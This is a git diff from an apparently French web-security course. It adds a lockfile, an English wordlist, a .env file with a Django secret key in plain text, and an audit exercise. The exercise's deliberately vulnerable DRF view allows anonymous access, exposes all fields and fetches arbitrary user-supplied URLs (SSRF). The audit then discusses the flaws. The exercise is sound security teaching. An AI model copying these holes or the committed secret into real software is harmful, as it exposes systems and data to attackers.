+[[package]] +name = "typing-extensions" +version = "4.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "werkzeug" +version = "3.1.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/dd/b2/381be8cfdee792dd117872481b6e378f85c957dd7c5bca38897b08f765fd/werkzeug-3.1.8.tar.gz", hash = "sha256:9bad61a4268dac112f1c5cd4630a56ede601b6ed420300677a869083d70a4c44", size = 875852, upload-time = "2026-04-02T18:49:14.268Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/8c/2e650f2afeb7ee576912636c23ddb621c91ac6a98e66dc8d29c3c69446e1/werkzeug-3.1.8-py3-none-any.whl", hash = "sha256:63a77fb8892bf28ebc3178683445222aa500e48ebad5ec77b0ad80f8726b1f50", size = 226459, upload-time = "2026-04-02T18:49:12.72Z" }, +] diff --git a/Semaine_11/Jour_03/wordlist.txt b/Semaine_11/Jour_03/wordlist.txt new file mode 100644 index 0000000..91cebd8 --- /dev/null +++ b/Semaine_11/Jour_03/wordlist.txt @@ -0,0 +1,4009 @@ +able +about +above +abroad +absent +abuse +accent +accept +access +acer +acid +acids +acne +acre +acres +across +acting +action +active +actor +actors +acts +actual +acute +adam +adams +added +adding +adds +adidas +adipex +adjust +admin +admit +adobe +adopt +adrian +adsl +adult +adults +advert +advice +advise +adware +aerial +affair +affect +afford +afraid +africa +after +again +aged +agency +agenda +agent +agents +ages +aging +agree +agreed +agrees +ahead +aids +aimed +aims +alan +alarm +alaska +albany +albert +album +albums +alert +alerts +alex +alfred +alias +alice +alien +align +alike +alive +allah +allan +allen +allied +allow +allows +alloy +almost +alone +along +alot +alpha +alpine +also +alter +alto +alumni +always +amanda +amazon +amber +ambien +amend +amino +among +amount +anal +analog +anchor +andale +andrea +andrew +andy +angel +angela +angels +anger +angle +angola +angry +animal +anime +anna +anne +annex +annie +annual +answer +anti +anyone +anyway +apache +apart +apnic +apollo +appeal +appear +apple +apply +approx +apps +april +aqua +arab +arabia +arabic +arcade +arch +arctic +area +areas +arena +argue +argued +arise +armed +armor +arms +army +arnold +around +array +arrest +arrive +arrow +arthur +artist +arts +aruba +ascii +ashley +asia +asian +aside +asin +asked +asking +asks +aspect +aspnet +assess +asset +assets +assign +assist +assume +assure +asthma +asus +athens +atlas +atom +atomic +attach +attack +attend +auburn +audi +audio +audit +august +aurora +austin +author +auto +autos +autumn +avatar +avenue +avoid +avon +award +awards +aware +away +awful +axis +babe +babes +babies +baby +back +backed +backup +bacon +badge +badly +bags +bailey +baker +baking +bald +bali +ball +ballet +ballot +balls +banana +band +bands +bang +bank +banks +banned +banner +barbie +bare +barely +barn +barnes +barrel +barry +bars +base +based +bases +basic +basics +basin +basis +basket +bass +batch +bath +baths +batman +battle +bdsm +beach +beads +beam +bean +beans +bear +bears +beast +beat +beats +beauty +beaver +became +become +beds +beef +been +beer +before +began +begin +begins +begun +behalf +behind +being +beings +belief +belize +belkin +bell +belle +belly +belong +below +belt +belts +bench +bend +benz +berlin +berry +beside +best +beta +beth +better +betty +beyond +bhutan +bias +bible +bidder +bids +bigger +bike +bikes +bikini +bill +bills +billy +binary +bind +bingo +biol +bios +bird +birds +birth +bishop +bitch +bite +bits +black +blacks +blade +blades +blah +blair +blake +blame +blank +blast +blend +bless +blind +blink +block +blocks +blog +blogs +blond +blonde +blood +bloody +bloom +blow +blue +blues +blvd +board +boards +boat +boats +bobby +bodies +body +bold +bolt +bomb +bond +bonds +bone +bones +bonus +boob +boobs +book +books +bool +boom +boost +boot +booth +boots +booty +border +bored +boring +born +bosnia +boss +boston +both +bother +bottle +bottom +bought +bound +bowl +boxed +boxes +boxing +boys +brad +brain +brake +brakes +branch +brand +brands +bras +brass +brave +brazil +breach +bread +break +breaks +breast +breath +breed +breeds +brian +brick +bridal +bride +bridge +brief +briefs +bright +bring +brings +broad +broke +broken +broker +bronze +brook +brooks +bros +brown +browse +bruce +brunei +brush +brutal +bryan +bryant +bubble +buck +bucks +buddy +budget +buffer +bufing +bugs +build +builds +built +bulk +bull +bullet +bumper +bunch +bundle +bunny +burden +bureau +buried +burke +burn +burner +burns +burst +burton +buses +bush +busty +busy +butler +butt +butter +button +butts +buyer +buyers +buying +buys +buzz +byte +bytes +cabin +cable +cables +cache +cached +cafe +cage +cake +cakes +calif +call +called +calls +calm +calvin +came +camel +camera +camp +camps +campus +cams +canada +canal +cancel +cancer +candle +candy +cannon +canon +cant +canvas +canyon +cape +caps +carb +carbon +card +cards +care +career +carey +cargo +caring +carl +carlo +carlos +carmen +carol +carpet +carry +cars +cart +carter +casa +case +cases +casey +cash +casino +casio +cast +castle +casual +catch +cats +cattle +caught +cause +caused +causes +cave +cayman +cdna +cedar +celebs +cell +cells +celtic +cement +census +cent +center +centre +cents +cest +chad +chain +chains +chair +chairs +chan +chance +change +chaos +chapel +char +charge +charm +charms +chart +charts +chase +chat +cheap +cheat +cheats +check +checks +cheers +cheese +chef +chem +chen +cheque +cherry +chess +chest +chevy +chick +chicks +chief +child +chile +china +chip +chips +choice +choir +choose +chorus +chose +chosen +chris +christ +chrome +chubby +chuck +church +cialis +ciao +cindy +cinema +circle +circus +cisco +cite +cited +cities +city +civic +civil +claim +claims +claire +clan +clara +clark +clarke +class +clause +clay +clean +clear +clerk +click +clicks +client +cliff +climb +clinic +clip +clips +clock +clocks +clone +close +closed +closer +closes +cloth +cloud +clouds +cloudy +club +clubs +cnet +coach +coal +coast +coat +coated +cock +cocks +code +codes +coding +coffee +cohen +coin +coins +cold +cole +colin +collar +colon +colony +color +colors +colour +column +combat +combo +come +comedy +comes +comic +comics +coming +comm +commit +common +comp +compaq +comply +condo +condos +conf +config +congo +cons +const +cook +cooked +cookie +cool +cooler +cooper +cope +copied +copies +copper +copy +coral +cord +core +cork +corn +corner +corp +corps +corpus +cost +costa +costs +cotton +could +count +counts +county +couple +coupon +course +court +courts +cove +cover +covers +cowboy +crack +cradle +craft +crafts +craig +crap +craps +crash +crazy +cream +create +credit +creek +crest +crew +crime +crimes +crisis +crop +crops +cross +crowd +crown +crude +cruise +cruz +cuba +cube +cubic +cult +cunt +cups +cure +cursor +curtis +curve +curves +custom +cute +cuts +cyber +cycle +cycles +cyprus +czech +daddy +daily +dairy +daisy +dakota +dale +dallas +damage +dame +damn +dana +dance +danger +daniel +danish +danny +dans +dare +dark +darwin +dash +data +date +dated +dates +dating +dave +david +davis +dawn +days +dayton +dead +deadly +deaf +deal +dealer +deals +dealt +dean +dear +death +deaths +debate +debian +debt +debug +debut +decade +decent +decide +deck +decor +deemed +deep +deeper +deeply +deer +defeat +defend +define +degree +delay +delays +delete +delhi +dell +delta +deluxe +demand +demo +denial +denied +dennis +dense +dental +denver +deny +depend +depot +dept +depth +deputy +derby +derek +desert +design +desire +desk +detail +detect +devel +device +devil +devon +dial +dialog +diana +diane +diary +dice +dick +dicke +dicks +died +diego +dies +diesel +diet +diff +differ +diffs +digest +digit +dildo +dildos +dining +dinner +direct +dirt +dirty +disc +disco +discs +dish +dishes +disk +disks +disney +dist +dive +divide +divine +diving +divx +dock +docs +doctor +dodge +does +dogs +doing +doll +dollar +dolls +domain +dome +donald +donate +done +donna +donor +donors +dont +doom +door +doors +dosage +dose +double +doubt +doug +dover +down +dozen +dozens +draft +drag +dragon +drain +drama +draw +drawn +draws +dream +dreams +dress +drew +dried +drill +drink +drinks +drive +driven +driver +drives +drop +drops +drove +drug +drugs +drum +drums +drunk +dryer +dual +dubai +dublin +duck +dude +duke +dumb +dump +duncan +durham +during +dust +dutch +duties +duty +dvds +dying +dylan +each +eagle +eagles +earl +early +earn +earned +ears +earth +ease +easier +easily +east +easter +easy +eating +ebay +ebony +ebook +ebooks +echo +eddie +eden +edgar +edge +edges +edit +edited +editor +edward +effect +effort +eggs +egypt +eight +either +elder +elect +eleven +elite +ellen +ellis +else +elvis +emacs +email +emails +emily +eminem +emma +empire +employ +empty +enable +ended +endif +ending +ends +enemy +energy +engage +engine +enjoy +enough +ensure +enter +enters +entire +entity +entry +enzyme +epic +epson +equal +equity +eric +erik +erotic +error +errors +escape +escort +espn +essay +essays +essex +estate +ethics +ethnic +eugene +euro +europe +euros +eval +evans +even +event +events +ever +every +evil +exact +exam +exams +exceed +excel +except +excess +excuse +exec +exempt +exist +exists +exit +exotic +expand +expect +expert +expo +export +extend +extent +extra +extras +eyed +eyes +fabric +face +faced +faces +facial +facing +fact +factor +facts +fail +failed +fails +fair +fairly +fairy +faith +fake +fall +fallen +falls +false +fame +family +famous +fancy +fans +faqs +fare +fares +farm +farmer +farms +fast +faster +fatal +fate +father +fatty +fault +favor +favors +favour +fear +fears +feat +feed +feeds +feel +feels +fees +feet +fell +fellow +felt +female +fence +feof +ferry +fetish +fever +fewer +fiber +fibre +field +fields +fifth +fifty +fight +figure +fiji +file +filed +files +filing +fill +filled +film +filme +films +filter +final +finals +find +finder +finds +fine +finest +finger +finish +finite +fire +fired +fires +firm +firms +first +fiscal +fish +fisher +fist +fits +fitted +five +fixed +fixes +flag +flags +flame +flash +flat +flavor +fleece +fleet +flesh +flex +flickr +flight +flip +float +flood +floor +floors +floppy +floral +flour +flow +flower +flows +floyd +fluid +flush +flux +flyer +flying +foam +focal +focus +fold +folder +folk +folks +follow +font +fonts +food +foods +fool +foot +forbes +force +forced +forces +ford +forest +forge +forget +forgot +fork +form +formal +format +formed +former +forms +fort +forth +forty +forum +forums +fossil +foster +foto +fotos +fought +foul +found +four +fourth +frame +framed +frames +france +frank +fraser +fraud +fred +free +freely +freeze +french +fresh +friday +fridge +friend +frog +from +front +frost +frozen +fruit +fruits +fuck +fucked +fuel +fuji +full +fully +fund +funded +funds +funk +funky +funny +fusion +future +fuzzy +gage +gain +gained +gains +galaxy +gale +game +games +gaming +gamma +gang +gaps +garage +garcia +garden +garlic +garmin +gary +gate +gates +gather +gauge +gave +gays +gear +geek +gender +gene +genes +geneva +genius +genome +genre +genres +gentle +gently +george +gerald +german +gets +ghana +ghost +giant +giants +gibson +gift +gifts +girl +girls +give +given +gives +giving +glad +glance +glass +glen +glenn +global +globe +glory +gloves +glow +gmbh +gnome +goal +goals +goat +gods +goes +going +gold +golden +golf +gone +gonna +good +goods +google +gordon +gore +gospel +gossip +gothic +goto +gotta +gotten +govt +grab +grace +grad +grade +grades +graham +grain +grams +grand +grande +granny +grant +grants +graph +graphs +gras +grass +gratis +grave +gray +great +greece +greek +green +greene +greg +grew +grey +grid +grill +grip +groove +gross +ground +group +groups +grove +grow +grown +grows +growth +guam +guard +guards +guess +guest +guests +guide +guided +guides +guild +guilty +guinea +guitar +gulf +guns +guru +guyana +guys +gzip +habits +hack +hacker +hair +hairy +haiti +half +hall +halo +hammer +hand +handed +handle +hands +handy +hang +hans +hansen +happen +happy +harbor +hard +harder +hardly +harley +harm +harold +harper +harris +harry +hart +harvey +hash +hate +hats +have +haven +having +hawaii +hawk +hayes +hazard +hdtv +head +headed +header +heads +health +hear +heard +heart +hearts +heat +heated +heater +heath +heaven +heavy +hebrew +heel +height +held +helen +helena +hell +hello +helmet +help +helped +helps +hence +henry +hentai +herald +herb +herbal +herbs +here +hereby +herein +hero +heroes +hidden +hide +high +higher +highly +highs +hiking +hill +hills +hilton +hindu +hint +hints +hire +hired +hiring +hist +hits +hobby +hockey +hold +holdem +holder +holds +hole +holes +hollow +holly +holmes +holy +home +homes +honda +honest +honey +hong +honor +honors +hood +hook +hope +hoped +hopes +hoping +horn +horny +horror +horse +horses +hose +host +hosted +hostel +hosts +hotel +hotels +hour +hourly +hours +house +houses +howard +howto +href +html +http +hudson +huge +hugh +hughes +hugo +hull +human +humans +humor +hung +hunger +hungry +hunt +hunter +hurt +hybrid +icon +icons +idaho +idea +ideal +ideas +idle +idol +ieee +ignore +image +images +immune +impact +import +impose +inbox +incest +inch +inches +incl +income +indeed +index +india +indian +indie +indoor +infant +info +inform +injury +inkjet +inline +inner +inns +input +inputs +insert +inside +intake +intel +intend +intent +inter +intl +into +intro +invest +invite +iowa +ipaq +ipod +iran +iraq +iraqi +irish +iron +isaac +isbn +islam +island +isle +israel +issn +issue +issued +issues +italia +italic +italy +item +items +itsa +itself +itunes +ivory +jack +jacket +jackie +jacob +jade +jaguar +jail +jake +james +jamie +jane +janet +japan +jason +java +jazz +jean +jeans +jeep +jeff +jenny +jeremy +jerry +jersey +jesse +jesus +jets +jewel +jewish +jews +jill +jimmy +joan +jobs +joel +john +johnny +johns +join +joined +joins +joint +joke +jokes +jones +jordan +jose +joseph +josh +joshua +joyce +jpeg +juan +judge +judges +judy +juice +julia +julian +julie +july +jump +june +jungle +junior +junk +jury +just +justin +kansas +karen +karl +karma +kate +kathy +katie +keen +keep +keeps +keith +kelkoo +kelly +kenny +keno +kent +kenya +kept +kernel +kerry +kevin +keys +kick +kidney +kids +kijiji +kill +killed +killer +kills +kinase +kind +kinda +kinds +king +kings +kirk +kiss +kits +kitty +klein +knee +knew +knife +knight +knit +knives +knock +know +known +knows +kodak +kong +korea +korean +kruger +kurt +kuwait +kyle +label +labels +labor +labour +labs +lace +lack +ladder +laden +ladies +lady +laid +lake +lakes +lamb +lambda +lamp +lamps +lance +land +lands +lane +lanes +lang +lanka +laptop +large +larger +larry +laser +last +late +lately +later +latest +latex +latin +latina +latino +latter +latvia +laugh +launch +laura +lauren +lawn +laws +lawyer +layer +layers +layout +lazy +lead +leader +leads +leaf +league +lean +learn +lease +least +leave +leaves +leeds +left +legacy +legal +legend +legs +lemon +lender +length +lens +lenses +leon +leone +leslie +less +lesser +lesson +lets +letter +level +levels +levy +lewis +lexus +liable +libs +lies +life +lift +light +lights +like +liked +likely +likes +lime +limit +limits +linda +line +linear +lined +lines +link +linked +links +linux +lion +lions +lips +liquid +lisa +list +listed +listen +lists +lite +little +live +lived +liver +lives +living +lloyd +load +loaded +loads +loan +loans +lobby +local +locale +locate +lock +locked +locks +lodge +logan +logged +logic +login +logo +logos +logs +lolita +london +lone +lonely +long +longer +look +looked +looks +lookup +loop +loops +loose +lopez +lord +lose +losing +loss +losses +lost +lots +lotus +loud +louis +louise +lounge +love +loved +lovely +lover +lovers +loves +loving +lower +lowest +lows +lucas +lucia +luck +lucky +lucy +luis +luke +lunch +lung +luther +luxury +lycos +lying +lynn +lyric +lyrics +macro +made +madrid +magic +magnet +maiden +mail +mailed +mails +mailto +main +maine +mainly +major +make +maker +makers +makes +makeup +making +malawi +male +males +mali +mall +malta +mambo +manage +manga +manner +manor +manual +many +maple +maps +marble +marc +march +marco +marcus +mardi +margin +maria +mariah +marie +marina +marine +mario +marion +mark +marked +marker +market +marks +mars +mart +martha +martin +marvel +mary +mask +mason +mass +master +match +mate +math +mating +matrix +mats +matt +matter +mature +maui +maybe +mayor +mazda +meal +meals +mean +means +meant +meat +medal +media +median +medium +meet +meets +meetup +mega +member +memo +memory +mens +ment +mental +mentor +menu +menus +mercy +mere +merely +merge +merger +merit +merry +mesa +mesh +mess +meta +metal +metals +meter +meters +method +metres +metric +metro +mexico +meyer +miami +mice +michel +micro +middle +midi +might +mighty +mike +milan +mild +mile +miles +milf +milfs +milk +mill +miller +mills +milton +mime +mind +minds +mine +mines +mini +mining +minor +mins +mint +minus +minute +mirror +misc +miss +missed +mixed +mixer +mixing +mobile +mode +model +models +modem +modems +modern +modes +modify +mods +module +mold +moment +moms +monaco +monday +money +monica +monkey +mono +monroe +monte +month +months +mood +moon +moore +moral +more +morgan +morris +moscow +moses +moss +most +mostly +motel +motels +mother +motion +motor +motors +mount +mounts +mouse +mouth +move +moved +movers +moves +movie +movies +moving +mpeg +mpegs +mrna +msgid +msgstr +msie +much +multi +mumbai +munich +murder +murphy +murray +muscle +museum +music +muslim +must +mutual +muze +myers +myrtle +myself +mysql +myth +nail +nails +naked +name +named +namely +names +nancy +nano +naples +narrow +nasa +nascar +nasdaq +nasty +nathan +nation +native +nato +nature +naval +navy +ncaa +near +nearby +nearly +neck +need +needed +needle +needs +neil +nelson +neon +nepal +nerve +nest +nested +neural +nevada +never +newark +newbie +newer +newest +newly +news +newton +next +nextel +nice +nick +nickel +nicole +niger +night +nights +nike +nikon +nine +nipple +nissan +noble +nobody +node +nodes +noise +nokia +none +noon +norm +normal +norman +north +norton +norway +nose +note +noted +notes +notice +notify +notion +notre +nova +novel +novels +ntsc +nude +nudist +nudity +nuke +null +number +nurse +nurses +nuts +nutten +nvidia +nylon +oaks +oasis +object +obtain +occur +occurs +ocean +oclc +odds +oecd +offer +offers +office +offset +often +ohio +oils +okay +older +oldest +olive +oliver +omaha +oman +omega +once +ones +onion +online +only +onto +oops +open +opened +opens +opera +optics +option +oracle +oral +orange +orbit +order +orders +oregon +organ +orgasm +orgy +origin +oscar +other +others +ottawa +ought +ours +outer +outlet +output +oval +oven +over +owen +owned +owner +owners +owns +oxford +oxide +oxygen +ozone +pace +pack +packed +packet +packs +pads +page +pages +paid +pain +paint +pair +pairs +palace +pale +palm +palmer +pamela +panama +panel +panels +panic +pants +paper +papers +papua +para +parade +parcel +parent +paris +parish +park +parker +parks +part +partly +parts +party +paso +pass +passed +passes +past +pasta +paste +pastor +patch +patent +path +paths +patio +patrol +paul +paxil +payday +paying +paypal +pays +pdas +peace +peak +pearl +peas +peeing +peer +peers +pencil +penis +penn +penny +pens +people +pepper +period +perl +permit +perry +person +perth +peru +pest +pete +peter +petite +pets +phase +phases +phil +philip +phone +phones +photo +photos +phpbb +phrase +phys +piano +pick +picked +picks +pickup +picnic +pics +piece +pieces +pierce +pierre +pike +pill +pillow +pills +pilot +pine +ping +pink +pins +pipe +pipes +piss +pitch +pixel +pixels +pizza +place +placed +places +plain +plains +plan +plane +planes +planet +plans +plant +plants +plasma +plate +plates +play +played +player +plays +plaza +please +pledge +plenty +plot +plots +plug +plugin +plus +pmid +pocket +poem +poems +poet +poetry +point +points +poker +poland +polar +pole +police +policy +polish +poll +polls +polo +poly +pond +pool +pools +poor +pope +pork +porn +porno +port +portal +porter +ports +pose +posing +post +postal +posted +poster +posts +potato +potter +pound +pounds +pour +powder +powell +power +powers +prague +praise +pray +prayer +prefer +prefix +prep +press +pretty +prev +price +priced +prices +pride +priest +prime +prince +print +prints +prior +prison +prix +prize +prizes +probe +proc +prof +profit +promo +prompt +proof +proper +pros +prot +proud +prove +proved +proven +proxy +prozac +public +pubmed +pubs +puerto +pull +pulled +pulse +pump +pumps +punch +punk +pupils +puppy +pure +purple +purse +pursue +push +pushed +pussy +puts +puzzle +python +qatar +quad +quebec +queen +queens +query +quest +queue +quick +quiet +quilt +quit +quite +quiz +quote +quoted +quotes +rabbit +race +races +rachel +racial +racing +rack +racks +radar +radio +radios +radius +rage +raid +rail +rain +raise +raised +raises +rally +ralph +ranch +rand +random +randy +range +ranges +rank +ranked +ranks +rape +rapid +rapids +rare +rarely +rate +rated +rates +rather +rating +ratio +ratios +rats +rays +reach +read +reader +reads +ready +real +really +realm +realty +rear +reason +rebate +rebel +recall +recent +recipe +record +redeem +reduce +reed +reef +reel +refer +refers +refine +reform +refund +refuse +regard +reggae +regime +region +rehab +reid +reject +relate +relax +relay +relief +reload +rely +remain +remark +remedy +remind +remix +remote +remove +render +renew +reno +rent +rental +repair +repeat +reply +report +rescue +reset +resist +resort +rest +result +resume +retail +retain +retro +return +reveal +review +reward +rhode +rhythm +ribbon +rica +rice +rich +rick +rico +ride +rider +riders +rides +ridge +riding +right +rights +ring +rings +ripe +rise +rising +risk +risks +river +rivers +road +roads +robert +robin +robot +robots +robust +rock +rocket +rocks +rocky +roger +rogers +roland +role +roles +roll +rolled +roller +rolls +roman +rome +ronald +roof +room +rooms +root +roots +rope +rosa +rose +roses +ross +roster +rotary +rouge +rough +round +rounds +route +router +routes +rover +rows +royal +rubber +ruby +rugby +rugs +rule +ruled +rules +ruling +runner +runs +rural +rush +russia +ruth +rwanda +ryan +sacred +saddam +safari +safe +safely +safer +safety +sage +sagem +said +sail +saint +saints +sake +salad +salary +sale +salem +sales +sally +salmon +salon +salt +samba +same +samoa +sample +samuel +sand +sandra +sandy +sans +santa +sanyo +sara +sarah +satin +saturn +sauce +saudi +savage +save +saved +saver +saves +saving +saying +says +sbjct +scale +scales +scan +scary +scene +scenes +scenic +schema +scheme +school +scoop +scope +score +scored +scores +scotia +scott +scout +screen +screw +script +scroll +scsi +scuba +seal +sealed +sean +search +seas +season +seat +seats +second +secret +sector +secure +seed +seeds +seeing +seek +seeker +seeks +seem +seemed +seems +seen +sees +sega +select +self +sell +seller +sells +semi +senate +send +sender +sends +senior +sense +sensor +sent +sept +serbia +serial +series +serum +serve +served +server +serves +sets +settle +setup +seven +severe +sewing +sexcam +sexo +sexual +sexy +shade +shades +shadow +shaft +shake +shall +shame +shape +shaped +shapes +share +shared +shares +shark +sharon +sharp +shaved +shaw +shed +sheep +sheer +sheet +sheets +shelf +shell +shield +shift +shine +ship +ships +shirt +shirts +shit +shock +shoe +shoes +shoot +shop +shops +shore +short +shorts +shot +shots +should +show +showed +shower +shown +shows +shut +sick +side +sides +sierra +sight +sigma +sign +signal +signed +signs +signup +silent +silk +silly +silver +simon +simple +simply +sims +since +sing +singer +singh +single +sink +sister +site +sites +sixth +size +sized +sizes +skiing +skill +skills +skin +skins +skip +skirt +skirts +skype +slave +sleep +sleeps +sleeve +slide +slides +slight +slim +slip +slope +slot +slots +slovak +slow +slowly +slut +sluts +small +smart +smell +smile +smith +smoke +smooth +smtp +snake +snap +snow +soap +soccer +social +socket +socks +sodium +sofa +soft +soil +solar +sold +sole +solely +solid +solo +solve +solved +soma +some +song +songs +sonic +sons +sony +soon +sorry +sort +sorted +sorts +sought +soul +souls +sound +sounds +soup +source +south +soviet +space +spaces +spain +spam +span +spank +sparc +spare +spas +speak +speaks +spears +spec +specs +speech +speed +speeds +spell +spend +spent +sperm +sphere +spice +spider +spies +spin +spine +spirit +split +spoke +spoken +sport +sports +spot +spots +spouse +spray +spread +spring +sprint +squad +square +squirt +stable +stack +staff +stage +stages +stamp +stamps +stan +stand +stands +star +stars +start +starts +stat +state +stated +states +static +stats +status +stay +stayed +stays +steady +steal +steam +steel +stem +step +steps +stereo +steve +steven +stick +sticks +sticky +still +stock +stocks +stolen +stone +stones +stood +stop +stops +store +stored +stores +storm +story +strain +strand +strap +stream +street +stress +strict +strike +string +strip +strips +stroke +strong +struck +struct +stuart +stuck +stud +studio +study +stuff +stupid +style +styles +stylus +subaru +submit +subtle +such +suck +sucks +sudan +sudden +suffer +sugar +suit +suite +suited +suites +suits +summer +summit +sunday +sunny +sunset +super +superb +supply +sure +surely +surf +surge +surrey +survey +susan +suse +sussex +suzuki +swap +sweden +sweet +swift +swim +swing +swiss +switch +sword +sydney +symbol +sync +syntax +syria +system +table +tables +tablet +tabs +tackle +tagged +tags +tahoe +tail +taiwan +take +taken +takes +taking +tale +talent +tales +talk +talked +talks +tall +tamil +tampa +tank +tanks +tape +tapes +target +tariff +task +tasks +taste +tattoo +taught +taxes +taxi +taylor +teach +team +teams +tear +tears +tech +techno +teddy +teen +teens +teeth +tell +tells +temp +temple +tenant +tend +tender +tennis +tent +term +terms +terror +terry +test +tested +tests +texas +text +texts +thai +than +thank +thanks +that +thats +thee +theft +thehun +their +them +theme +themes +then +theory +there +these +thesis +they +thick +thin +thing +things +think +thinks +third +thirty +this +thomas +thong +thongs +those +thou +though +thread +threat +three +throat +throw +thrown +throws +thru +thumb +thumbs +thus +ticket +tide +tied +tier +ties +tiger +tigers +tight +tile +tiles +till +timber +time +timely +timer +times +timing +tiny +tion +tions +tips +tire +tired +tires +tissue +titans +title +titled +titles +tits +titten +tobago +today +todd +toilet +token +tokyo +told +toll +tomato +tommy +tone +toner +tones +tongue +tons +tony +took +tool +tools +tooth +topic +topics +tops +total +totals +touch +tough +tour +tours +toward +tower +towers +town +towns +toxic +toyota +toys +trace +track +tracks +tract +tracy +trade +trader +trades +trail +trails +train +trains +trance +tranny +trans +trap +trash +trauma +travel +travis +tray +treat +treaty +tree +trees +trek +trembl +trend +trends +treo +trial +trials +tribal +tribe +tribes +trick +tricks +tried +tries +trim +trio +trip +triple +trips +trivia +troops +trout +troy +truck +trucks +true +truly +trunk +trust +trusts +truth +trying +tube +tubes +tucson +tulsa +tumor +tune +tuner +tunes +tuning +tunnel +turbo +turkey +turn +turned +turner +turns +turtle +tvcom +twelve +twenty +twice +twiki +twin +twinks +twins +twist +tyler +type +types +typing +uganda +ugly +ultra +ultram +unable +uncle +under +undo +union +unions +unique +unit +united +units +unity +univ +unix +unless +unlike +unlock +until +unto +unwrap +update +upload +upon +upper +upset +urban +urge +urgent +urls +usage +usda +used +useful +user +users +uses +usgs +using +usps +usual +utah +utils +vacuum +vagina +valid +valium +valley +value +valued +values +valve +valves +varied +varies +vary +vast +vault +vector +vegas +velvet +vendor +venice +venue +venues +verbal +verde +verify +vernon +verse +versus +vertex +very +vessel +viagra +vice +victim +victor +video +videos +vids +vienna +view +viewed +viewer +views +viii +viking +villa +villas +vinyl +violin +viral +virgin +virtue +virus +visa +vision +visit +visits +vista +visual +vital +vocal +vocals +voice +voices +void +voip +volt +volume +volvo +vote +voted +voters +votes +voting +voyeur +voyuer +vsnet +wage +wages +wagner +wagon +wait +waiver +wake +wales +walk +walked +walker +walks +wall +wallet +walls +walnut +walt +walter +wang +wanna +want +wanted +wants +ward +ware +warm +warned +warner +warren +wars +wash +washer +waste +watch +water +waters +watson +watt +watts +wave +waves +wayne +ways +weak +wealth +weapon +wear +webcam +weblog +weed +week +weekly +weeks +weight +weird +well +wells +welsh +wendy +went +were +wesley +west +whale +what +whats +wheat +wheel +wheels +when +where +which +while +whilst +white +whole +whom +whore +whose +wicked +wide +widely +wider +width +wife +wifi +wiki +wild +wiley +will +willow +wilson +wind +window +winds +wine +wines +wing +wings +winner +wins +winter +wire +wired +wires +wiring +wisdom +wise +wish +wishes +witch +with +within +wives +wizard +wolf +woman +women +womens +wonder +wood +wooden +woods +wool +word +words +work +worked +worker +works +world +worlds +worm +worn +worry +worse +worst +worth +worthy +would +wound +wrap +wright +wrist +write +writer +writes +wrong +wrote +xanax +xbox +xerox +xhtml +xnxx +yacht +yahoo +yale +yamaha +yang +yard +yards +yarn +yeah +year +yearly +years +yeast +yellow +yemen +yield +yields +yoga +york +young +your +yours +youth +yukon +zambia +zdnet +zero +zinc +zoloft +zone +zones +zoning +zoom +zope +zshops \ No newline at end of file diff --git a/Semaine_11/Jour_04/.env b/Semaine_11/Jour_04/.env new file mode 100644 index 0000000..25a492e --- /dev/null +++ b/Semaine_11/Jour_04/.env @@ -0,0 +1,2 @@ +DJANGO_SECRET_KEY=252bc4d9151dcc863bb17914e257bdaed66e520d351f0d8a5d15cfa4c21e2ff8 +DJANGO_DEBUG=False \ No newline at end of file diff --git a/Semaine_11/Jour_04/.python-version b/Semaine_11/Jour_04/.python-version new file mode 100644 index 0000000..6324d40 --- /dev/null +++ b/Semaine_11/Jour_04/.python-version @@ -0,0 +1 @@ +3.14 diff --git a/Semaine_11/Jour_04/AUDIT.md b/Semaine_11/Jour_04/AUDIT.md new file mode 100644 index 0000000..6231ed2 --- /dev/null +++ b/Semaine_11/Jour_04/AUDIT.md @@ -0,0 +1,97 @@ +# Exo 5.6 "Audit Capstone" + +## Le code à auditer + +```python +# audit/views.py (API VOLONTAIREMENT VULNÉRABLE — à auditer) +import requests +from rest_framework import viewsets, serializers +from rest_framework.decorators import action +from rest_framework.response import Response +from rest_framework.permissions import AllowAny +from .models import Equipement + +class EquipementSerializer(serializers.ModelSerializer): + class Meta: + model = Equipement + fields = "__all__" + +class EquipementViewSet(viewsets.ModelViewSet): + queryset = Equipement.objects.all() + serializer_class = EquipementSerializer + permission_classes = [AllowAny] + + @action(detail=False, methods=["post"]) + def tester_webhook(self, request): + url = request.data["url"] + reponse = requests.get(url) + return Response({"status": reponse.status_code, "corps": reponse.text}) +``` + +## Constats + +### 1. "fields" ouvert à tous les champs [API3] + +L'usage de `fields = "__all__"` permet une récupération dynamique de tous les champs de l'élément, y compris les champs éventuellement sensibles. + +#### Correction + +Usage d'un `field = ["champ1", "champ2", "champ3"]` selon les informations souhaitées. + +### 2. queryset trop permissif [API1] + +`queryset = Equipement.objects.all()` permet la récupération de tous les objets d'une table, sans limite de propriété ou d'état connu. + 